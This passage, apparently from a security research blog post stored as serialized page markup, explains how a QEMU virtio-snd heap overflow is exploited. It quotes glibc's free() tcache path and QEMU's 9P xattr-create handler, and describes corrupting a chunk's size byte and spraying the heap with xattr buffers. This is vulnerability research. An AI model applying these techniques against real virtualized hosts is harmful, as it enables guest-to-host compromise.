mp_",{"type":23,"tag":41,"props":127133,"children":127134},{"style":70},[127135],{"type":28,"value":706},{"type":23,"tag":41,"props":127137,"children":127138},{"style":858},[127139],{"type":28,"value":127140},"tcache_max_bytes",{"type":23,"tag":41,"props":127142,"children":127143},{"style":70},[127144],{"type":28,"value":19700},{"type":23,"tag":41,"props":127146,"children":127147},{"class":43,"line":1058},[127148],{"type":23,"tag":41,"props":127149,"children":127150},{"style":70},[127151],{"type":28,"value":1711},{"type":23,"tag":41,"props":127153,"children":127154},{"class":43,"line":1084},[127155],{"type":23,"tag":41,"props":127156,"children":127157},{"style":70},[127158],{"type":28,"value":127159},"      [...]\n",{"type":23,"tag":41,"props":127161,"children":127162},{"class":43,"line":1102},[127163],{"type":23,"tag":41,"props":127164,"children":127165},{"emptyLinePlaceholder":18},[127166],{"type":28,"value":82},{"type":23,"tag":41,"props":127168,"children":127169},{"class":43,"line":1110},[127170,127174,127179],{"type":23,"tag":41,"props":127171,"children":127172},{"style":58},[127173],{"type":28,"value":1985},{"type":23,"tag":41,"props":127175,"children":127176},{"style":114},[127177],{"type":28,"value":127178}," tcache_put",{"type":23,"tag":41,"props":127180,"children":127181},{"style":70},[127182],{"type":28,"value":127183}," (p, tc_idx);\n",{"type":23,"tag":41,"props":127185,"children":127186},{"class":43,"line":1118},[127187],{"type":23,"tag":41,"props":127188,"children":127189},{"style":70},[127190],{"type":28,"value":192},{"type":23,"tag":24,"props":127192,"children":127193},{},[127194,127196,127201],{"type":28,"value":127195},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":37,"props":127197,"children":127199},{"className":127198},[],[127200],{"type":28,"value":123978},{"type":28,"value":127202}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":127204,"children":127205},{},[127206,127208,127214,127215,127220],{"type":28,"value":127207},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":37,"props":127209,"children":127211},{"className":127210},[],[127212],{"type":28,"value":127213},"check_inuse_chunk",{"type":28,"value":142},{"type":23,"tag":37,"props":127216,"children":127218},{"className":127217},[],[127219],{"type":28,"value":124106},{"type":28,"value":23944},{"type":23,"tag":31,"props":127222,"children":127224},{"code":127223,"language":3146,"meta":7,"className":16503,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[127225],{"type":23,"tag":37,"props":127226,"children":127227},{"__ignoreMap":7},[127228,127235,127262,127269,127276,127283,127302,127309,127328,127335,127362,127385,127392,127418,127425,127436,127493],{"type":23,"tag":41,"props":127229,"children":127230},{"class":43,"line":44},[127231],{"type":23,"tag":41,"props":127232,"children":127233},{"style":64},[127234],{"type":28,"value":126929},{"type":23,"tag":41,"props":127236,"children":127237},{"class":43,"line":54},[127238,127242,127246,127250,127254,127258],{"type":23,"tag":41,"props":127239,"children":127240},{"style":114},[127241],{"type":28,"value":126195},{"type":23,"tag":41,"props":127243,"children":127244},{"style":70},[127245],{"type":28,"value":142},{"type":23,"tag":41,"props":127247,"children":127248},{"style":64},[127249],{"type":28,"value":51622},{"type":23,"tag":41,"props":127251,"children":127252},{"style":170},[127253],{"type":28,"value":9814},{"type":23,"tag":41,"props":127255,"children":127256},{"style":858},[127257],{"type":28,"value":40654},{"type":23,"tag":41,"props":127259,"children":127260},{"style":70},[127261],{"type":28,"value":1969},{"type":23,"tag":41,"props":127263,"children":127264},{"class":43,"line":76},[127265],{"type":23,"tag":41,"props":127266,"children":127267},{"style":70},[127268],{"type":28,"value":1559},{"type":23,"tag":41,"props":127270,"children":127271},{"class":43,"line":85},[127272],{"type":23,"tag":41,"props":127273,"children":127274},{"style":70},[127275],{"type":28,"value":126238},{"type":23,"tag":41,"props":127277,"children":127278},{"class":43,"line":105},[127279],{"type":23,"tag":41,"props":127280,"children":127281},{"emptyLinePlaceholder":18},[127282],{"type":28,"value":82},{"type":23,"tag":41,"props":127284,"children":127285},{"class":43,"line":155},[127286,127290,127294,127298],{"type":23,"tag":41,"props":127287,"children":127288},{"style":70},[127289],{"type":28,"value":126253},{"type":23,"tag":41,"props":127291,"children":127292},{"style":170},[127293],{"type":28,"value":2381},{"type":23,"tag":41,"props":127295,"children":127296},{"style":114},[127297],{"type":28,"value":126262},{"type":23,"tag":41,"props":127299,"children":127300},{"style":70},[127301],{"type":28,"value":126267},{"type":23,"tag":41,"props":127303,"children":127304},{"class":43,"line":186},[127305],{"type":23,"tag":41,"props":127306,"children":127307},{"emptyLinePlaceholder":18},[127308],{"type":28,"value":82},{"type":23,"tag":41,"props":127310,"children":127311},{"class":43,"line":195},[127312,127316,127320,127324],{"type":23,"tag":41,"props":127313,"children":127314},{"style":70},[127315],{"type":28,"value":127011},{"type":23,"tag":41,"props":127317,"children":127318},{"style":170},[127319],{"type":28,"value":2381},{"type":23,"tag":41,"props":127321,"children":127322},{"style":114},[127323],{"type":28,"value":126589},{"type":23,"tag":41,"props":127325,"children":127326},{"style":70},[127327],{"type":28,"value":126308},{"type":23,"tag":41,"props":127329,"children":127330},{"class":43,"line":905},[127331],{"type":23,"tag":41,"props":127332,"children":127333},{"emptyLinePlaceholder":18},[127334],{"type":28,"value":82},{"type":23,"tag":41,"props":127336,"children":127337},{"class":43,"line":922},[127338,127342,127346,127350,127354,127358],{"type":23,"tag":41,"props":127339,"children":127340},{"style":58},[127341],{"type":28,"value":31388},{"type":23,"tag":41,"props":127343,"children":127344},{"style":70},[127345],{"type":28,"value":142},{"type":23,"tag":41,"props":127347,"children":127348},{"style":114},[127349],{"type":28,"value":126784},{"type":23,"tag":41,"props":127351,"children":127352},{"style":70},[127353],{"type":28,"value":142},{"type":23,"tag":41,"props":127355,"children":127356},{"style":114},[127357],{"type":28,"value":126718},{"type":23,"tag":41,"props":127359,"children":127360},{"style":70},[127361],{"type":28,"value":127058},{"type":23,"tag":41,"props":127363,"children":127364},{"class":43,"line":930},[127365,127369,127373,127377,127381],{"type":23,"tag":41,"props":127366,"children":127367},{"style":58},[127368],{"type":28,"value":1090},{"type":23,"tag":41,"props":127370,"children":127371},{"style":114},[127372],{"type":28,"value":127070},{"type":23,"tag":41,"props":127374,"children":127375},{"style":70},[127376],{"type":28,"value":142},{"type":23,"tag":41,"props":127378,"children":127379},{"style":735},[127380],{"type":28,"value":126748},{"type":23,"tag":41,"props":127382,"children":127383},{"style":70},[127384],{"type":28,"value":3825},{"type":23,"tag":41,"props":127386,"children":127387},{"class":43,"line":939},[127388],{"type":23,"tag":41,"props":127389,"children":127390},{"emptyLinePlaceholder":18},[127391],{"type":28,"value":82},{"type":23,"tag":41,"props":127393,"children":127394},{"class":43,"line":947},[127395,127399,127403,127408,127413],{"type":23,"tag":41,"props":127396,"children":127397},{"style":114},[127398],{"type":28,"value":126851},{"type":23,"tag":41,"props":127400,"children":127401},{"style":70},[127402],{"type":28,"value":142},{"type":23,"tag":41,"props":127404,"children":127405},{"style":114},[127406],{"type":28,"value":127407},"arena_for_chunk",{"type":23,"tag":41,"props":127409,"children":127410},{"style":70},[127411],{"type":28,"value":127412}," (p), p);",{"type":23,"tag":41,"props":127414,"children":127415},{"style":48},[127416],{"type":28,"value":127417},"             // [1]\n",{"type":23,"tag":41,"props":127419,"children":127420},{"class":43,"line":985},[127421],{"type":23,"tag":41,"props":127422,"children":127423},{"emptyLinePlaceholder":18},[127424],{"type":28,"value":82},{"type":23,"tag":41,"props":127426,"children":127427},{"class":43,"line":1058},[127428,127432],{"type":23,"tag":41,"props":127429,"children":127430},{"style":58},[127431],{"type":28,"value":127097},{"type":23,"tag":41,"props":127433,"children":127434},{"style":114},[127435],{"type":28,"value":127102},{"type":23,"tag":41,"props":127437,"children":127438},{"class":43,"line":1084},[127439,127443,127447,127451,127455,127459,127463,127467,127471,127475,127480,127484,127489],{"type":23,"tag":41,"props":127440,"children":127441},{"style":58},[127442],{"type":28,"value":31388},{"type":23,"tag":41,"props":127444,"children":127445},{"style":70},[127446],{"type":28,"value":142},{"type":23,"tag":41,"props":127448,"children":127449},{"style":114},[127450],{"type":28,"value":127118},{"type":23,"tag":41,"props":127452,"children":127453},{"style":70},[127454],{"type":28,"value":126789},{"type":23,"tag":41,"props":127456,"children":127457},{"style":170},[127458],{"type":28,"value":1012},{"type":23,"tag":41,"props":127460,"children":127461},{"style":858},[127462],{"type":28,"value":127131},{"type":23,"tag":41,"props":127464,"children":127465},{"style":70},[127466],{"type":28,"value":706},{"type":23,"tag":41,"props":127468,"children":127469},{"style":858},[127470],{"type":28,"value":127140},{"type":23,"tag":41,"props":127472,"children":127473},{"style":170},[127474],{"type":28,"value":2472},{"type":23,"tag":41,"props":127476,"children":127477},{"style":70},[127478],{"type":28,"value":127479}," tcache ",{"type":23,"tag":41,"props":127481,"children":127482},{"style":170},[127483],{"type":28,"value":15679},{"type":23,"tag":41,"props":127485,"children":127486},{"style":64},[127487],{"type":28,"value":127488}," NULL",{"type":23,"tag":41,"props":127490,"children":127491},{"style":70},[127492],{"type":28,"value":19700},{"type":23,"tag":41,"props":127494,"children":127495},{"class":43,"line":1102},[127496],{"type":23,"tag":41,"props":127497,"children":127498},{"style":70},[127499],{"type":28,"value":126871},{"type":23,"tag":24,"props":127501,"children":127502},{},[127503,127505,127510],{"type":28,"value":127504},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":37,"props":127506,"children":127508},{"className":127507},[],[127509],{"type":28,"value":123978},{"type":28,"value":127511},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":442,"props":127513,"children":127514},{},[],{"type":23,"tag":24,"props":127516,"children":127517},{},[127518,127520,127525,127527,127533,127535,127540,127542,127548],{"type":28,"value":127519},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":37,"props":127521,"children":127523},{"className":127522},[],[127524],{"type":28,"value":123978},{"type":28,"value":127526}," field was initially ",{"type":23,"tag":37,"props":127528,"children":127530},{"className":127529},[],[127531],{"type":28,"value":127532},"0x200",{"type":28,"value":127534},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":37,"props":127536,"children":127538},{"className":127537},[],[127539],{"type":28,"value":126155},{"type":28,"value":127541},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":37,"props":127543,"children":127545},{"className":127544},[],[127546],{"type":28,"value":127547},"[0x210, 0x2f0]",{"type":28,"value":127549},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":127551,"children":127552},{},[127553],{"type":28,"value":127554},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":546,"props":127556,"children":127558},{"id":127557},"heap-spraying",[127559],{"type":28,"value":127560},"Heap Spraying",{"type":23,"tag":24,"props":127562,"children":127563},{},[127564,127566,127571],{"type":28,"value":127565},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":37,"props":127567,"children":127569},{"className":127568},[],[127570],{"type":28,"value":127532},{"type":28,"value":127572},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":127574,"children":127575},{},[127576,127578,127583],{"type":28,"value":127577},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":37,"props":127579,"children":127581},{"className":127580},[],[127582],{"type":28,"value":124173},{"type":28,"value":127584}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":127586,"children":127587},{},[127588],{"type":28,"value":127589},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":18881,"props":127591,"children":127593},{"id":127592},"virtio-9p",[127594],{"type":28,"value":127592},{"type":23,"tag":24,"props":127596,"children":127597},{},[127598,127603],{"type":23,"tag":37,"props":127599,"children":127601},{"className":127600},[],[127602],{"type":28,"value":127592},{"type":28,"value":127604}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":127606,"children":127607},{},[127608,127610,127616,127618,127624,127625,127631,127633,127638],{"type":28,"value":127609},"Through a ",{"type":23,"tag":37,"props":127611,"children":127613},{"className":127612},[],[127614],{"type":28,"value":127615},"P9_TXATTRCREATE",{"type":28,"value":127617}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":37,"props":127619,"children":127621},{"className":127620},[],[127622],{"type":28,"value":127623},".name",{"type":28,"value":1361},{"type":23,"tag":37,"props":127626,"children":127628},{"className":127627},[],[127629],{"type":28,"value":127630},".value",{"type":28,"value":127632}," fields, with the size of ",{"type":23,"tag":37,"props":127634,"children":127636},{"className":127635},[],[127637],{"type":28,"value":127630},{"type":28,"value":127639}," being directly controlled by the guest.",{"type":23,"tag":31,"props":127641,"children":127643},{"code":127642,"language":3146,"meta":7,"className":16503,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[127644],{"type":23,"tag":37,"props":127645,"children":127646},{"__ignoreMap":7},[127647,127689,127696,127720,127733,127744,127769,127777,127802,127819,127835,127861,127868,127889,127955,127979,127992,127999,128006,128013,128020,128040,128061,128072,128079,128086,128093,128100,128149,128205,128250],{"type":23,"tag":41,"props":127648,"children":127649},{"class":43,"line":44},[127650,127654,127658,127663,127668,127672,127676,127680,127685],{"type":23,"tag":41,"props":127651,"children":127652},{"style":64},[127653],{"type":28,"value":51039},{"type":23,"tag":41,"props":127655,"children":127656},{"style":64},[127657],{"type":28,"value":51044},{"type":23,"tag":41,"props":127659,"children":127660},{"style":70},[127661],{"type":28,"value":127662}," coroutine_fn ",{"type":23,"tag":41,"props":127664,"children":127665},{"style":114},[127666],{"type":28,"value":127667},"v9fs_xattrcreate",{"type":23,"tag":41,"props":127669,"children":127670},{"style":70},[127671],{"type":28,"value":1737},{"type":23,"tag":41,"props":127673,"children":127674},{"style":64},[127675],{"type":28,"value":51622},{"type":23,"tag":41,"props":127677,"children":127678},{"style":170},[127679],{"type":28,"value":9814},{"type":23,"tag":41,"props":127681,"children":127682},{"style":858},[127683],{"type":28,"value":127684},"opaque",{"type":23,"tag":41,"props":127686,"children":127687},{"style":70},[127688],{"type":28,"value":1969},{"type":23,"tag":41,"props":127690,"children":127691},{"class":43,"line":54},[127692],{"type":23,"tag":41,"props":127693,"children":127694},{"style":70},[127695],{"type":28,"value":1559},{"type":23,"tag":41,"props":127697,"children":127698},{"class":43,"line":76},[127699,127703,127708,127712,127716],{"type":23,"tag":41,"props":127700,"children":127701},{"style":64},[127702],{"type":28,"value":19064},{"type":23,"tag":41,"props":127704,"children":127705},{"style":70},[127706],{"type":28,"value":127707}," flags, rflags ",{"type":23,"tag":41,"props":127709,"children":127710},{"style":170},[127711],{"type":28,"value":2381},{"type":23,"tag":41,"props":127713,"children":127714},{"style":164},[127715],{"type":28,"value":392},{"type":23,"tag":41,"props":127717,"children":127718},{"style":70},[127719],{"type":28,"value":183},{"type":23,"tag":41,"props":127721,"children":127722},{"class":43,"line":85},[127723,127728],{"type":23,"tag":41,"props":127724,"children":127725},{"style":64},[127726],{"type":28,"value":127727},"    int32_t",{"type":23,"tag":41,"props":127729,"children":127730},{"style":70},[127731],{"type":28,"value":127732}," fid;\n",{"type":23,"tag":41,"props":127734,"children":127735},{"class":43,"line":105},[127736,127740],{"type":23,"tag":41,"props":127737,"children":127738},{"style":64},[127739],{"type":28,"value":55608},{"type":23,"tag":41,"props":127741,"children":127742},{"style":70},[127743],{"type":28,"value":124320},{"type":23,"tag":41,"props":127745,"children":127746},{"class":43,"line":155},[127747,127752,127757,127761,127765],{"type":23,"tag":41,"props":127748,"children":127749},{"style":64},[127750],{"type":28,"value":127751},"    ssize_t",{"type":23,"tag":41,"props":127753,"children":127754},{"style":70},[127755],{"type":28,"value":127756}," err ",{"type":23,"tag":41,"props":127758,"children":127759},{"style":170},[127760],{"type":28,"value":2381},{"type":23,"tag":41,"props":127762,"children":127763},{"style":164},[127764],{"type":28,"value":392},{"type":23,"tag":41,"props":127766,"children":127767},{"style":70},[127768],{"type":28,"value":183},{"type":23,"tag":41,"props":127770,"children":127771},{"class":43,"line":186},[127772],{"type":23,"tag":41,"props":127773,"children":127774},{"style":70},[127775],{"type":28,"value":127776},"    V9fsString name;\n",{"type":23,"tag":41,"props":127778,"children":127779},{"class":43,"line":195},[127780,127784,127789,127793,127798],{"type":23,"tag":41,"props":127781,"children":127782},{"style":64},[127783],{"type":28,"value":16553},{"type":23,"tag":41,"props":127785,"children":127786},{"style":70},[127787],{"type":28,"value":127788}," offset ",{"type":23,"tag":41,"props":127790,"children":127791},{"style":170},[127792],{"type":28,"value":2381},{"type":23,"tag":41,"props":127794,"children":127795},{"style":164},[127796],{"type":28,"value":127797}," 7",{"type":23,"tag":41,"props":127799,"children":127800},{"style":70},[127801],{"type":28,"value":183},{"type":23,"tag":41,"props":127803,"children":127804},{"class":43,"line":905},[127805,127810,127814],{"type":23,"tag":41,"props":127806,"children":127807},{"style":70},[127808],{"type":28,"value":127809},"    V9fsFidState ",{"type":23,"tag":41,"props":127811,"children":127812},{"style":170},[127813],{"type":28,"value":377},{"type":23,"tag":41,"props":127815,"children":127816},{"style":70},[127817],{"type":28,"value":127818},"file_fidp;\n",{"type":23,"tag":41,"props":127820,"children":127821},{"class":43,"line":922},[127822,127826,127830],{"type":23,"tag":41,"props":127823,"children":127824},{"style":70},[127825],{"type":28,"value":127809},{"type":23,"tag":41,"props":127827,"children":127828},{"style":170},[127829],{"type":28,"value":377},{"type":23,"tag":41,"props":127831,"children":127832},{"style":70},[127833],{"type":28,"value":127834},"xattr_fidp;\n",{"type":23,"tag":41,"props":127836,"children":127837},{"class":43,"line":930},[127838,127843,127847,127852,127856],{"type":23,"tag":41,"props":127839,"children":127840},{"style":70},[127841],{"type":28,"value":127842},"    V9fsPDU ",{"type":23,"tag":41,"props":127844,"children":127845},{"style":170},[127846],{"type":28,"value":377},{"type":23,"tag":41,"props":127848,"children":127849},{"style":70},[127850],{"type":28,"value":127851},"pdu ",{"type":23,"tag":41,"props":127853,"children":127854},{"style":170},[127855],{"type":28,"value":2381},{"type":23,"tag":41,"props":127857,"children":127858},{"style":70},[127859],{"type":28,"value":127860}," opaque;\n",{"type":23,"tag":41,"props":127862,"children":127863},{"class":43,"line":939},[127864],{"type":23,"tag":41,"props":127865,"children":127866},{"emptyLinePlaceholder":18},[127867],{"type":28,"value":82},{"type":23,"tag":41,"props":127869,"children":127870},{"class":43,"line":947},[127871,127876,127880,127884],{"type":23,"tag":41,"props":127872,"children":127873},{"style":114},[127874],{"type":28,"value":127875},"    v9fs_string_init",{"type":23,"tag":41,"props":127877,"children":127878},{"style":70},[127879],{"type":28,"value":1737},{"type":23,"tag":41,"props":127881,"children":127882},{"style":170},[127883],{"type":28,"value":855},{"type":23,"tag":41,"props":127885,"children":127886},{"style":70},[127887],{"type":28,"value":127888},"name);\n",{"type":23,"tag":41,"props":127890,"children":127891},{"class":43,"line":985},[127892,127897,127901,127906,127911,127916,127920,127924,127929,127933,127938,127942,127946,127950],{"type":23,"tag":41,"props":127893,"children":127894},{"style":70},[127895],{"type":28,"value":127896},"    err ",{"type":23,"tag":41,"props":127898,"children":127899},{"style":170},[127900],{"type":28,"value":2381},{"type":23,"tag":41,"props":127902,"children":127903},{"style":114},[127904],{"type":28,"value":127905}," pdu_unmarshal",{"type":23,"tag":41,"props":127907,"children":127908},{"style":70},[127909],{"type":28,"value":127910},"(pdu, offset, ",{"type":23,"tag":41,"props":127912,"children":127913},{"style":735},[127914],{"type":28,"value":127915},"\"dsqd\"",{"type":23,"tag":41,"props":127917,"children":127918},{"style":70},[127919],{"type":28,"value":970},{"type":23,"tag":41,"props":127921,"children":127922},{"style":170},[127923],{"type":28,"value":855},{"type":23,"tag":41,"props":127925,"children":127926},{"style":70},[127927],{"type":28,"value":127928},"fid, ",{"type":23,"tag":41,"props":127930,"children":127931},{"style":170},[127932],{"type":28,"value":855},{"type":23,"tag":41,"props":127934,"children":127935},{"style":70},[127936],{"type":28,"value":127937},"name, ",{"type":23,"tag":41,"props":127939,"children":127940},{"style":170},[127941],{"type":28,"value":855},{"type":23,"tag":41,"props":127943,"children":127944},{"style":70},[127945],{"type":28,"value":126688},{"type":23,"tag":41,"props":127947,"children":127948},{"style":170},[127949],{"type":28,"value":855},{"type":23,"tag":41,"props":127951,"children":127952},{"style":70},[127953],{"type":28,"value":127954},"flags);\n",{"type":23,"tag":41,"props":127956,"children":127957},{"class":43,"line":1058},[127958,127962,127967,127971,127975],{"type":23,"tag":41,"props":127959,"children":127960},{"style":58},[127961],{"type":28,"value":2440},{"type":23,"tag":41,"props":127963,"children":127964},{"style":70},[127965],{"type":28,"value":127966}," (err ",{"type":23,"tag":41,"props":127968,"children":127969},{"style":170},[127970],{"type":28,"value":1012},{"type":23,"tag":41,"props":127972,"children":127973},{"style":164},[127974],{"type":28,"value":392},{"type":23,"tag":41,"props":127976,"children":127977},{"style":70},[127978],{"type":28,"value":152},{"type":23,"tag":41,"props":127980,"children":127981},{"class":43,"line":1084},[127982,127987],{"type":23,"tag":41,"props":127983,"children":127984},{"style":58},[127985],{"type":28,"value":127986},"        goto",{"type":23,"tag":41,"props":127988,"children":127989},{"style":70},[127990],{"type":28,"value":127991}," out_nofid;\n",{"type":23,"tag":41,"props":127993,"children":127994},{"class":43,"line":1102},[127995],{"type":23,"tag":41,"props":127996,"children":127997},{"style":70},[127998],{"type":28,"value":192},{"type":23,"tag":41,"props":128000,"children":128001},{"class":43,"line":1110},[128002],{"type":23,"tag":41,"props":128003,"children":128004},{"emptyLinePlaceholder":18},[128005],{"type":28,"value":82},{"type":23,"tag":41,"props":128007,"children":128008},{"class":43,"line":1118},[128009],{"type":23,"tag":41,"props":128010,"children":128011},{"style":70},[128012],{"type":28,"value":104519},{"type":23,"tag":41,"props":128014,"children":128015},{"class":43,"line":1137},[128016],{"type":23,"tag":41,"props":128017,"children":128018},{"emptyLinePlaceholder":18},[128019],{"type":28,"value":82},{"type":23,"tag":41,"props":128021,"children":128022},{"class":43,"line":1163},[128023,128027,128031,128035],{"type":23,"tag":41,"props":128024,"children":128025},{"style":58},[128026],{"type":28,"value":2440},{"type":23,"tag":41,"props":128028,"children":128029},{"style":70},[128030],{"type":28,"value":126789},{"type":23,"tag":41,"props":128032,"children":128033},{"style":170},[128034],{"type":28,"value":1022},{"type":23,"tag":41,"props":128036,"children":128037},{"style":70},[128038],{"type":28,"value":128039}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":41,"props":128041,"children":128042},{"class":43,"line":1188},[128043,128048,128052,128056],{"type":23,"tag":41,"props":128044,"children":128045},{"style":70},[128046],{"type":28,"value":128047},"        err ",{"type":23,"tag":41,"props":128049,"children":128050},{"style":170},[128051],{"type":28,"value":2381},{"type":23,"tag":41,"props":128053,"children":128054},{"style":170},[128055],{"type":28,"value":51250},{"type":23,"tag":41,"props":128057,"children":128058},{"style":70},[128059],{"type":28,"value":128060},"E2BIG;\n",{"type":23,"tag":41,"props":128062,"children":128063},{"class":43,"line":1979},[128064,128068],{"type":23,"tag":41,"props":128065,"children":128066},{"style":58},[128067],{"type":28,"value":127986},{"type":23,"tag":41,"props":128069,"children":128070},{"style":70},[128071],{"type":28,"value":127991},{"type":23,"tag":41,"props":128073,"children":128074},{"class":43,"line":2002},[128075],{"type":23,"tag":41,"props":128076,"children":128077},{"style":70},[128078],{"type":28,"value":192},{"type":23,"tag":41,"props":128080,"children":128081},{"class":43,"line":3835},[128082],{"type":23,"tag":41,"props":128083,"children":128084},{"emptyLinePlaceholder":18},[128085],{"type":28,"value":82},{"type":23,"tag":41,"props":128087,"children":128088},{"class":43,"line":3895},[128089],{"type":23,"tag":41,"props":128090,"children":128091},{"style":70},[128092],{"type":28,"value":104519},{"type":23,"tag":41,"props":128094,"children":128095},{"class":43,"line":9044},[128096],{"type":23,"tag":41,"props":128097,"children":128098},{"emptyLinePlaceholder":18},[128099],{"type":28,"value":82},{"type":23,"tag":41,"props":128101,"children":128102},{"class":43,"line":9061},[128103,128107,128111,128115,128120,128124,128128,128132,128137,128141,128145],{"type":23,"tag":41,"props":128104,"children":128105},{"style":114},[128106],{"type":28,"value":127875},{"type":23,"tag":41,"props":128108,"children":128109},{"style":70},[128110],{"type":28,"value":1737},{"type":23,"tag":41,"props":128112,"children":128113},{"style":170},[128114],{"type":28,"value":855},{"type":23,"tag":41,"props":128116,"children":128117},{"style":858},[128118],{"type":28,"value":128119},"xattr_fidp",{"type":23,"tag":41,"props":128121,"children":128122},{"style":70},[128123],{"type":28,"value":2453},{"type":23,"tag":41,"props":128125,"children":128126},{"style":858},[128127],{"type":28,"value":36977},{"type":23,"tag":41,"props":128129,"children":128130},{"style":70},[128131],{"type":28,"value":706},{"type":23,"tag":41,"props":128133,"children":128134},{"style":858},[128135],{"type":28,"value":128136},"xattr",{"type":23,"tag":41,"props":128138,"children":128139},{"style":70},[128140],{"type":28,"value":706},{"type":23,"tag":41,"props":128142,"children":128143},{"style":858},[128144],{"type":28,"value":48492},{"type":23,"tag":41,"props":128146,"children":128147},{"style":70},[128148],{"type":28,"value":3825},{"type":23,"tag":41,"props":128150,"children":128151},{"class":43,"line":9106},[128152,128157,128161,128165,128169,128173,128177,128181,128185,128189,128193,128197,128201],{"type":23,"tag":41,"props":128153,"children":128154},{"style":114},[128155],{"type":28,"value":128156},"    v9fs_string_copy",{"type":23,"tag":41,"props":128158,"children":128159},{"style":70},[128160],{"type":28,"value":1737},{"type":23,"tag":41,"props":128162,"children":128163},{"style":170},[128164],{"type":28,"value":855},{"type":23,"tag":41,"props":128166,"children":128167},{"style":858},[128168],{"type":28,"value":128119},{"type":23,"tag":41,"props":128170,"children":128171},{"style":70},[128172],{"type":28,"value":2453},{"type":23,"tag":41,"props":128174,"children":128175},{"style":858},[128176],{"type":28,"value":36977},{"type":23,"tag":41,"props":128178,"children":128179},{"style":70},[128180],{"type":28,"value":706},{"type":23,"tag":41,"props":128182,"children":128183},{"style":858},[128184],{"type":28,"value":128136},{"type":23,"tag":41,"props":128186,"children":128187},{"style":70},[128188],{"type":28,"value":706},{"type":23,"tag":41,"props":128190,"children":128191},{"style":858},[128192],{"type":28,"value":48492},{"type":23,"tag":41,"props":128194,"children":128195},{"style":70},[128196],{"type":28,"value":970},{"type":23,"tag":41,"props":128198,"children":128199},{"style":170},[128200],{"type":28,"value":855},{"type":23,"tag":41,"props":128202,"children":128203},{"style":70},[128204],{"type":28,"value":127888},{"type":23,"tag":41,"props":128206,"children":128207},{"class":43,"line":9212},[128208,128213,128217,128221,128225,128229,128233,128237,128241,128245],{"type":23,"tag":41,"props":128209,"children":128210},{"style":858},[128211],{"type":28,"value":128212},"    xattr_fidp",{"type":23,"tag":41,"props":128214,"children":128215},{"style":70},[128216],{"type":28,"value":2453},{"type":23,"tag":41,"props":128218,"children":128219},{"style":858},[128220],{"type":28,"value":36977},{"type":23,"tag":41,"props":128222,"children":128223},{"style":70},[128224],{"type":28,"value":706},{"type":23,"tag":41,"props":128226,"children":128227},{"style":858},[128228],{"type":28,"value":128136},{"type":23,"tag":41,"props":128230,"children":128231},{"style":70},[128232],{"type":28,"value":706},{"type":23,"tag":41,"props":128234,"children":128235},{"style":858},[128236],{"type":28,"value":1652},{"type":23,"tag":41,"props":128238,"children":128239},{"style":170},[128240],{"type":28,"value":3017},{"type":23,"tag":41,"props":128242,"children":128243},{"style":114},[128244],{"type":28,"value":123891},{"type":23,"tag":41,"props":128246,"children":128247},{"style":70},[128248],{"type":28,"value":128249},"(size);\n",{"type":23,"tag":41,"props":128251,"children":128252},{"class":43,"line":23496},[128253],{"type":23,"tag":41,"props":128254,"children":128255},{"style":70},[128256],{"type":28,"value":201},{"type":23,"tag":24,"props":128258,"children":128259},{},[128260,128262,128267,128269,128274,128275,128280,128282,128287],{"type":28,"value":128261},"Because the ",{"type":23,"tag":37,"props":128263,"children":128265},{"className":128264},[],[128266],{"type":28,"value":127623},{"type":28,"value":128268}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both 